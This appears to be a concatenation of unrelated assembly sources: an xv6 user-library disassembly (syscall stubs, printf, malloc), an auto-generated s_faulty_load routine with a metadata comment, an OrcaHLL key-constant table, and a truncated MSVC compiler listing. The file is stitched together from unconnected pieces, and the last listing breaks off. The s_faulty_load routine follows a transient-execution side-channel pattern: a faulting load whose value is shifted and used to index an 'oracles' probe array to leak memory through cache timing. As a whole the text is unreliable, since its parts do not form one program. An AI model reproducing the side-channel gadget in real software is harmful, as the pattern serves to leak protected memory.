27c: b8 04 00 00 00 mov $0x4,%eax
281: cd 40 int $0x40
283: c3 ret
00000284 <read>:
SYSCALL(read)
284: b8 05 00 00 00 mov $0x5,%eax
289: cd 40 int $0x40
28b: c3 ret
0000028c <write>:
SYSCALL(write)
28c: b8 10 00 00 00 mov $0x10,%eax
291: cd 40 int $0x40
293: c3 ret
00000294 <close>:
SYSCALL(close)
294: b8 15 00 00 00 mov $0x15,%eax
299: cd 40 int $0x40
29b: c3 ret
0000029c <kill>:
SYSCALL(kill)
29c: b8 06 00 00 00 mov $0x6,%eax
2a1: cd 40 int $0x40
2a3: c3 ret
000002a4 <exec>:
SYSCALL(exec)
2a4: b8 07 00 00 00 mov $0x7,%eax
2a9: cd 40 int $0x40
2ab: c3 ret
000002ac <open>:
SYSCALL(open)
2ac: b8 0f 00 00 00 mov $0xf,%eax
2b1: cd 40 int $0x40
2b3: c3 ret
000002b4 <mknod>:
SYSCALL(mknod)
2b4: b8 11 00 00 00 mov $0x11,%eax
2b9: cd 40 int $0x40
2bb: c3 ret
000002bc <unlink>:
SYSCALL(unlink)
2bc: b8 12 00 00 00 mov $0x12,%eax
2c1: cd 40 int $0x40
2c3: c3 ret
000002c4 <fstat>:
SYSCALL(fstat)
2c4: b8 08 00 00 00 mov $0x8,%eax
2c9: cd 40 int $0x40
2cb: c3 ret
000002cc <link>:
SYSCALL(link)
2cc: b8 13 00 00 00 mov $0x13,%eax
2d1: cd 40 int $0x40
2d3: c3 ret
000002d4 <mkdir>:
SYSCALL(mkdir)
2d4: b8 14 00 00 00 mov $0x14,%eax
2d9: cd 40 int $0x40
2db: c3 ret
000002dc <chdir>:
SYSCALL(chdir)
2dc: b8 09 00 00 00 mov $0x9,%eax
2e1: cd 40 int $0x40
2e3: c3 ret
000002e4 <dup>:
SYSCALL(dup)
2e4: b8 0a 00 00 00 mov $0xa,%eax
2e9: cd 40 int $0x40
2eb: c3 ret
000002ec <getpid>:
SYSCALL(getpid)
2ec: b8 0b 00 00 00 mov $0xb,%eax
2f1: cd 40 int $0x40
2f3: c3 ret
000002f4 <sbrk>:
SYSCALL(sbrk)
2f4: b8 0c 00 00 00 mov $0xc,%eax
2f9: cd 40 int $0x40
2fb: c3 ret
000002fc <sleep>:
SYSCALL(sleep)
2fc: b8 0d 00 00 00 mov $0xd,%eax
301: cd 40 int $0x40
303: c3 ret
00000304 <uptime>:
SYSCALL(uptime)
304: b8 0e 00 00 00 mov $0xe,%eax
309: cd 40 int $0x40
30b: c3 ret
0000030c <setpri>:
SYSCALL(setpri)
30c: b8 16 00 00 00 mov $0x16,%eax
311: cd 40 int $0x40
313: c3 ret
00000314 <getpri>:
SYSCALL(getpri)
314: b8 17 00 00 00 mov $0x17,%eax
319: cd 40 int $0x40
31b: c3 ret
0000031c <fork2>:
SYSCALL(fork2)
31c: b8 18 00 00 00 mov $0x18,%eax
321: cd 40 int $0x40
323: c3 ret
00000324 <getpinfo>:
SYSCALL(getpinfo)
324: b8 19 00 00 00 mov $0x19,%eax
329: cd 40 int $0x40
32b: c3 ret
0000032c <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
32c: 55 push %ebp
32d: 89 e5 mov %esp,%ebp
32f: 83 ec 1c sub $0x1c,%esp
332: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
335: 6a 01 push $0x1
337: 8d 55 f4 lea -0xc(%ebp),%edx
33a: 52 push %edx
33b: 50 push %eax
33c: e8 4b ff ff ff call 28c <write>
}
341: 83 c4 10 add $0x10,%esp
344: c9 leave
345: c3 ret
00000346 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
346: 55 push %ebp
347: 89 e5 mov %esp,%ebp
349: 57 push %edi
34a: 56 push %esi
34b: 53 push %ebx
34c: 83 ec 2c sub $0x2c,%esp
34f: 89 c7 mov %eax,%edi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
351: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
355: 0f 95 c3 setne %bl
358: 89 d0 mov %edx,%eax
35a: c1 e8 1f shr $0x1f,%eax
35d: 84 c3 test %al,%bl
35f: 74 10 je 371 <printint+0x2b>
neg = 1;
x = -xx;
361: f7 da neg %edx
neg = 1;
363: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
36a: be 00 00 00 00 mov $0x0,%esi
36f: eb 0b jmp 37c <printint+0x36>
neg = 0;
371: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
378: eb f0 jmp 36a <printint+0x24>
do{
buf[i++] = digits[x % base];
37a: 89 c6 mov %eax,%esi
37c: 89 d0 mov %edx,%eax
37e: ba 00 00 00 00 mov $0x0,%edx
383: f7 f1 div %ecx
385: 89 c3 mov %eax,%ebx
387: 8d 46 01 lea 0x1(%esi),%eax
38a: 0f b6 92 d8 06 00 00 movzbl 0x6d8(%edx),%edx
391: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1)
}while((x /= base) != 0);
395: 89 da mov %ebx,%edx
397: 85 db test %ebx,%ebx
399: 75 df jne 37a <printint+0x34>
39b: 89 c3 mov %eax,%ebx
if(neg)
39d: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
3a1: 74 16 je 3b9 <printint+0x73>
buf[i++] = '-';
3a3: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
3a8: 8d 5e 02 lea 0x2(%esi),%ebx
3ab: eb 0c jmp 3b9 <printint+0x73>
while(--i >= 0)
putc(fd, buf[i]);
3ad: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
3b2: 89 f8 mov %edi,%eax
3b4: e8 73 ff ff ff call 32c <putc>
while(--i >= 0)
3b9: 83 eb 01 sub $0x1,%ebx
3bc: 79 ef jns 3ad <printint+0x67>
}
3be: 83 c4 2c add $0x2c,%esp
3c1: 5b pop %ebx
3c2: 5e pop %esi
3c3: 5f pop %edi
3c4: 5d pop %ebp
3c5: c3 ret
000003c6 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3c6: 55 push %ebp
3c7: 89 e5 mov %esp,%ebp
3c9: 57 push %edi
3ca: 56 push %esi
3cb: 53 push %ebx
3cc: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
3cf: 8d 45 10 lea 0x10(%ebp),%eax
3d2: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
3d5: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
3da: bb 00 00 00 00 mov $0x0,%ebx
3df: eb 14 jmp 3f5 <printf+0x2f>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
3e1: 89 fa mov %edi,%edx
3e3: 8b 45 08 mov 0x8(%ebp),%eax
3e6: e8 41 ff ff ff call 32c <putc>
3eb: eb 05 jmp 3f2 <printf+0x2c>
}
} else if(state == '%'){
3ed: 83 fe 25 cmp $0x25,%esi
3f0: 74 25 je 417 <printf+0x51>
for(i = 0; fmt[i]; i++){
3f2: 83 c3 01 add $0x1,%ebx
3f5: 8b 45 0c mov 0xc(%ebp),%eax
3f8: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
3fc: 84 c0 test %al,%al
3fe: 0f 84 23 01 00 00 je 527 <printf+0x161>
c = fmt[i] & 0xff;
404: 0f be f8 movsbl %al,%edi
407: 0f b6 c0 movzbl %al,%eax
if(state == 0){
40a: 85 f6 test %esi,%esi
40c: 75 df jne 3ed <printf+0x27>
if(c == '%'){
40e: 83 f8 25 cmp $0x25,%eax
411: 75 ce jne 3e1 <printf+0x1b>
state = '%';
413: 89 c6 mov %eax,%esi
415: eb db jmp 3f2 <printf+0x2c>
if(c == 'd'){
417: 83 f8 64 cmp $0x64,%eax
41a: 74 49 je 465 <printf+0x9f>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
41c: 83 f8 78 cmp $0x78,%eax
41f: 0f 94 c1 sete %cl
422: 83 f8 70 cmp $0x70,%eax
425: 0f 94 c2 sete %dl
428: 08 d1 or %dl,%cl
42a: 75 63 jne 48f <printf+0xc9>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
42c: 83 f8 73 cmp $0x73,%eax
42f: 0f 84 84 00 00 00 je 4b9 <printf+0xf3>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
435: 83 f8 63 cmp $0x63,%eax
438: 0f 84 b7 00 00 00 je 4f5 <printf+0x12f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
43e: 83 f8 25 cmp $0x25,%eax
441: 0f 84 cc 00 00 00 je 513 <printf+0x14d>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
447: ba 25 00 00 00 mov $0x25,%edx
44c: 8b 45 08 mov 0x8(%ebp),%eax
44f: e8 d8 fe ff ff call 32c <putc>
putc(fd, c);
454: 89 fa mov %edi,%edx
456: 8b 45 08 mov 0x8(%ebp),%eax
459: e8 ce fe ff ff call 32c <putc>
}
state = 0;
45e: be 00 00 00 00 mov $0x0,%esi
463: eb 8d jmp 3f2 <printf+0x2c>
printint(fd, *ap, 10, 1);
465: 8b 7d e4 mov -0x1c(%ebp),%edi
468: 8b 17 mov (%edi),%edx
46a: 83 ec 0c sub $0xc,%esp
46d: 6a 01 push $0x1
46f: b9 0a 00 00 00 mov $0xa,%ecx
474: 8b 45 08 mov 0x8(%ebp),%eax
477: e8 ca fe ff ff call 346 <printint>
ap++;
47c: 83 c7 04 add $0x4,%edi
47f: 89 7d e4 mov %edi,-0x1c(%ebp)
482: 83 c4 10 add $0x10,%esp
state = 0;
485: be 00 00 00 00 mov $0x0,%esi
48a: e9 63 ff ff ff jmp 3f2 <printf+0x2c>
printint(fd, *ap, 16, 0);
48f: 8b 7d e4 mov -0x1c(%ebp),%edi
492: 8b 17 mov (%edi),%edx
494: 83 ec 0c sub $0xc,%esp
497: 6a 00 push $0x0
499: b9 10 00 00 00 mov $0x10,%ecx
49e: 8b 45 08 mov 0x8(%ebp),%eax
4a1: e8 a0 fe ff ff call 346 <printint>
ap++;
4a6: 83 c7 04 add $0x4,%edi
4a9: 89 7d e4 mov %edi,-0x1c(%ebp)
4ac: 83 c4 10 add $0x10,%esp
state = 0;
4af: be 00 00 00 00 mov $0x0,%esi
4b4: e9 39 ff ff ff jmp 3f2 <printf+0x2c>
s = (char*)*ap;
4b9: 8b 45 e4 mov -0x1c(%ebp),%eax
4bc: 8b 30 mov (%eax),%esi
ap++;
4be: 83 c0 04 add $0x4,%eax
4c1: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
4c4: 85 f6 test %esi,%esi
4c6: 75 28 jne 4f0 <printf+0x12a>
s = "(null)";
4c8: be d0 06 00 00 mov $0x6d0,%esi
4cd: 8b 7d 08 mov 0x8(%ebp),%edi
4d0: eb 0d jmp 4df <printf+0x119>
putc(fd, *s);
4d2: 0f be d2 movsbl %dl,%edx
4d5: 89 f8 mov %edi,%eax
4d7: e8 50 fe ff ff call 32c <putc>
s++;
4dc: 83 c6 01 add $0x1,%esi
while(*s != 0){
4df: 0f b6 16 movzbl (%esi),%edx
4e2: 84 d2 test %dl,%dl
4e4: 75 ec jne 4d2 <printf+0x10c>
state = 0;
4e6: be 00 00 00 00 mov $0x0,%esi
4eb: e9 02 ff ff ff jmp 3f2 <printf+0x2c>
4f0: 8b 7d 08 mov 0x8(%ebp),%edi
4f3: eb ea jmp 4df <printf+0x119>
putc(fd, *ap);
4f5: 8b 7d e4 mov -0x1c(%ebp),%edi
4f8: 0f be 17 movsbl (%edi),%edx
4fb: 8b 45 08 mov 0x8(%ebp),%eax
4fe: e8 29 fe ff ff call 32c <putc>
ap++;
503: 83 c7 04 add $0x4,%edi
506: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
509: be 00 00 00 00 mov $0x0,%esi
50e: e9 df fe ff ff jmp 3f2 <printf+0x2c>
putc(fd, c);
513: 89 fa mov %edi,%edx
515: 8b 45 08 mov 0x8(%ebp),%eax
518: e8 0f fe ff ff call 32c <putc>
state = 0;
51d: be 00 00 00 00 mov $0x0,%esi
522: e9 cb fe ff ff jmp 3f2 <printf+0x2c>
}
}
}
527: 8d 65 f4 lea -0xc(%ebp),%esp
52a: 5b pop %ebx
52b: 5e pop %esi
52c: 5f pop %edi
52d: 5d pop %ebp
52e: c3 ret
0000052f <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
52f: 55 push %ebp
530: 89 e5 mov %esp,%ebp
532: 57 push %edi
533: 56 push %esi
534: 53 push %ebx
535: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
538: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
53b: a1 7c 09 00 00 mov 0x97c,%eax
540: eb 02 jmp 544 <free+0x15>
542: 89 d0 mov %edx,%eax
544: 39 c8 cmp %ecx,%eax
546: 73 04 jae 54c <free+0x1d>
548: 39 08 cmp %ecx,(%eax)
54a: 77 12 ja 55e <free+0x2f>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
54c: 8b 10 mov (%eax),%edx
54e: 39 c2 cmp %eax,%edx
550: 77 f0 ja 542 <free+0x13>
552: 39 c8 cmp %ecx,%eax
554: 72 08 jb 55e <free+0x2f>
556: 39 ca cmp %ecx,%edx
558: 77 04 ja 55e <free+0x2f>
55a: 89 d0 mov %edx,%eax
55c: eb e6 jmp 544 <free+0x15>
break;
if(bp + bp->s.size == p->s.ptr){
55e: 8b 73 fc mov -0x4(%ebx),%esi
561: 8d 3c f1 lea (%ecx,%esi,8),%edi
564: 8b 10 mov (%eax),%edx
566: 39 d7 cmp %edx,%edi
568: 74 19 je 583 <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
56a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
56d: 8b 50 04 mov 0x4(%eax),%edx
570: 8d 34 d0 lea (%eax,%edx,8),%esi
573: 39 ce cmp %ecx,%esi
575: 74 1b je 592 <free+0x63>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
577: 89 08 mov %ecx,(%eax)
freep = p;
579: a3 7c 09 00 00 mov %eax,0x97c
}
57e: 5b pop %ebx
57f: 5e pop %esi
580: 5f pop %edi
581: 5d pop %ebp
582: c3 ret
bp->s.size += p->s.ptr->s.size;
583: 03 72 04 add 0x4(%edx),%esi
586: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
589: 8b 10 mov (%eax),%edx
58b: 8b 12 mov (%edx),%edx
58d: 89 53 f8 mov %edx,-0x8(%ebx)
590: eb db jmp 56d <free+0x3e>
p->s.size += bp->s.size;
592: 03 53 fc add -0x4(%ebx),%edx
595: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
598: 8b 53 f8 mov -0x8(%ebx),%edx
59b: 89 10 mov %edx,(%eax)
59d: eb da jmp 579 <free+0x4a>
0000059f <morecore>:
static Header*
morecore(uint nu)
{
59f: 55 push %ebp
5a0: 89 e5 mov %esp,%ebp
5a2: 53 push %ebx
5a3: 83 ec 04 sub $0x4,%esp
5a6: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
5a8: 3d ff 0f 00 00 cmp $0xfff,%eax
5ad: 77 05 ja 5b4 <morecore+0x15>
nu = 4096;
5af: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
5b4: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
5bb: 83 ec 0c sub $0xc,%esp
5be: 50 push %eax
5bf: e8 30 fd ff ff call 2f4 <sbrk>
if(p == (char*)-1)
5c4: 83 c4 10 add $0x10,%esp
5c7: 83 f8 ff cmp $0xffffffff,%eax
5ca: 74 1c je 5e8 <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
5cc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
5cf: 83 c0 08 add $0x8,%eax
5d2: 83 ec 0c sub $0xc,%esp
5d5: 50 push %eax
5d6: e8 54 ff ff ff call 52f <free>
return freep;
5db: a1 7c 09 00 00 mov 0x97c,%eax
5e0: 83 c4 10 add $0x10,%esp
}
5e3: 8b 5d fc mov -0x4(%ebp),%ebx
5e6: c9 leave
5e7: c3 ret
return 0;
5e8: b8 00 00 00 00 mov $0x0,%eax
5ed: eb f4 jmp 5e3 <morecore+0x44>
000005ef <malloc>:
void*
malloc(uint nbytes)
{
5ef: 55 push %ebp
5f0: 89 e5 mov %esp,%ebp
5f2: 53 push %ebx
5f3: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
5f6: 8b 45 08 mov 0x8(%ebp),%eax
5f9: 8d 58 07 lea 0x7(%eax),%ebx
5fc: c1 eb 03 shr $0x3,%ebx
5ff: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
602: 8b 0d 7c 09 00 00 mov 0x97c,%ecx
608: 85 c9 test %ecx,%ecx
60a: 74 04 je 610 <malloc+0x21>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
60c: 8b 01 mov (%ecx),%eax
60e: eb 4d jmp 65d <malloc+0x6e>
base.s.ptr = freep = prevp = &base;
610: c7 05 7c 09 00 00 80 movl $0x980,0x97c
617: 09 00 00
61a: c7 05 80 09 00 00 80 movl $0x980,0x980
621: 09 00 00
base.s.size = 0;
624: c7 05 84 09 00 00 00 movl $0x0,0x984
62b: 00 00 00
base.s.ptr = freep = prevp = &base;
62e: b9 80 09 00 00 mov $0x980,%ecx
633: eb d7 jmp 60c <malloc+0x1d>
if(p->s.size >= nunits){
if(p->s.size == nunits)
635: 39 da cmp %ebx,%edx
637: 74 1a je 653 <malloc+0x64>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
639: 29 da sub %ebx,%edx
63b: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
63e: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
641: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
644: 89 0d 7c 09 00 00 mov %ecx,0x97c
return (void*)(p + 1);
64a: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
64d: 83 c4 04 add $0x4,%esp
650: 5b pop %ebx
651: 5d pop %ebp
652: c3 ret
prevp->s.ptr = p->s.ptr;
653: 8b 10 mov (%eax),%edx
655: 89 11 mov %edx,(%ecx)
657: eb eb jmp 644 <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
659: 89 c1 mov %eax,%ecx
65b: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
65d: 8b 50 04 mov 0x4(%eax),%edx
660: 39 da cmp %ebx,%edx
662: 73 d1 jae 635 <malloc+0x46>
if(p == freep)
664: 39 05 7c 09 00 00 cmp %eax,0x97c
66a: 75 ed jne 659 <malloc+0x6a>
if((p = morecore(nunits)) == 0)
66c: 89 d8 mov %ebx,%eax
66e: e8 2c ff ff ff call 59f <morecore>
673: 85 c0 test %eax,%eax
675: 75 e2 jne 659 <malloc+0x6a>
return 0;
677: b8 00 00 00 00 mov $0x0,%eax
67c: eb cf jmp 64d <malloc+0x5e>
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x64bc, %rsi
lea addresses_normal_ht+0xee7f, %rdi
nop
nop
nop
nop
nop
and $13979, %rax
mov $51, %rcx
rep movsw
nop
nop
nop
and $52251, %r13
lea addresses_A_ht+0xecbc, %rsi
lea addresses_D_ht+0x273c, %rdi
nop
nop
nop
add $46845, %rbx
mov $13, %rcx
rep movsw
nop
nop
nop
xor $63764, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_PSE+0xf43c, %rsi
lea addresses_UC+0x1701c, %rdi
add $2231, %r15
mov $115, %rcx
rep movsb
nop
nop
nop
nop
nop
and $18822, %rdi
// Store
lea addresses_UC+0xcb7c, %rcx
nop
dec %r9
mov $0x5152535455565758, %r12
movq %r12, %xmm1
vmovups %ymm1, (%rcx)
nop
nop
nop
and $36022, %r15
// Store
lea addresses_PSE+0xbbc4, %r9
nop
sub $26133, %rsi
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
vmovups %ymm2, (%r9)
xor %r9, %r9
// REPMOV
lea addresses_UC+0x441c, %rsi
lea addresses_D+0x135bc, %rdi
nop
nop
nop
nop
nop
xor $35430, %r15
mov $102, %rcx
rep movsw
xor %rsi, %rsi
// Load
lea addresses_PSE+0x1ebbc, %r15
nop
nop
nop
nop
cmp $41363, %rcx
movb (%r15), %r12b
inc %rsi
// Store
lea addresses_normal+0x19e3c, %rsi
nop
sub %rbx, %rbx
movb $0x51, (%rsi)
cmp %rdi, %rdi
// Faulty Load
lea addresses_WT+0x74bc, %r12
nop
xor $41781, %rcx
mov (%r12), %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_PSE'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
[bits 32]
dd Key.$FILE_END - Key.$FILE_START
db "OrcaHLL Class", 0
db "Key", 0
Key.$FILE_START :
Key.$global.KEY_DOWN :
db 0x50
Key.$global.KEY_LEFT :
db 0x4B
Key.$global.TAB :
db 0x3A
Key.$global.ESC :
db 0x01
Key.$global.KEY_RIGHT :
db 0x4D
Key.$global.ENTER :
db 0xFE
Key.$global.KEY_UP :
db 0x48
Key.$global.KEY_SHIFT :
db 0x2A
Key.$global.BACKSPACE :
db 0xFF
Key.$FILE_END :
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
include listing.inc
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
PUBLIC Compare_Imp
PUBLIC Initialize_Compare
PUBLIC PMC_Compare_I_X
PUBLIC PMC_Compare_L_X
PUBLIC PMC_Compare_X_I
PUBLIC PMC_Compare_X_L
PUBLIC PMC_Compare_X_X
EXTRN CheckNumber:PROC
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_I_X DD imagerel $LN29
DD imagerel $LN29+232
DD imagerel $unwind$PMC_Compare_I_X
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_L_X DD imagerel $LN61
DD imagerel $LN61+236
DD imagerel $unwind$PMC_Compare_L_X
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_X_I DD imagerel $LN29
DD imagerel $LN29+149
DD imagerel $unwind$PMC_Compare_X_I
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_X_L DD imagerel $LN61
DD imagerel $LN61+153
DD imagerel $unwind$PMC_Compare_X_L
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Compare_X_X DD imagerel $LN31
DD imagerel $LN31+245
DD imagerel $unwind$PMC_Compare_X_X
pdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_X_X DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_X_L DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_X_I DD 060f01H
DD 07640fH
DD 06340fH
